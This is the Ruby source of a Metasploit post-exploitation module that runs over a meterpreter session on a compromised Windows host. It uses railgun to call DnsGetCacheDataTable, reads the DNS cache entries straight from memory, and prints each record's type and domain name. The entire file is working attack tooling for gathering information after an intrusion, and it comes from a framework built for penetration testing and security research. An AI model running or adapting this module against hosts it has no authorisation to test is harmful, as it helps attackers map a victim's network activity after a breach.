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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Gather DNS Cache',
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        'Description' => %q{ This module displays the records stored in the DNS cache.},
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [],
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          'Reliability' => []
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        },
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_railgun_api
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              stdapi_railgun_memread
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            ]
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          }
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        }
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      )
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    )
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  end
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  def run
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    rtable = Rex::Text::Table.new(
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      'Header' => 'DNS Cached Entries',
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      'Indent' => 3,
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      'Columns' => ['TYPE', 'DOMAIN']
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    )
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    client.railgun.add_dll('dnsapi') if !client.railgun.get_dll('dnsapi')
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    client.railgun.add_function('dnsapi', 'DnsGetCacheDataTable', 'DWORD', [['PBLOB', 'cacheEntries', 'inout']])
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    result = client.railgun.dnsapi.DnsGetCacheDataTable('aaaa')
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    address = result['cacheEntries'].unpack1('V')
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    # typedef struct _DNS_CACHE_ENTRY
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    # 	struct _DNS_CACHE_ENTRY* pNext;
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    # 	PWSTR pszName;
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    # 	unsigned short wType;
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    # 	unsigned short wDataLength;
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    # 	unsigned long dwFlags;
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    while (address != 0)
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      struct_pointer = client.railgun.memread(address, 10)
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      # Get the pointer to the DNS record name
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      domain_pointer = struct_pointer[4, 4].unpack1('V')
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      dns_type = struct_pointer[8, 2].unpack1('h*').reverse
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      # According to the restrictions on valid host names, we read a maximum of 255 characters for each entry
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      domain_name = client.railgun.memread(domain_pointer, 255).split("\x00\x00").first
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      rtable << [dns_type, domain_name]
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      # Get the next _DNS_CACHE_ENTRY struct pointer
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      address = struct_pointer[0, 4].unpack1('V')
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    end
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    print_status(rtable.to_s)
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  end
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end
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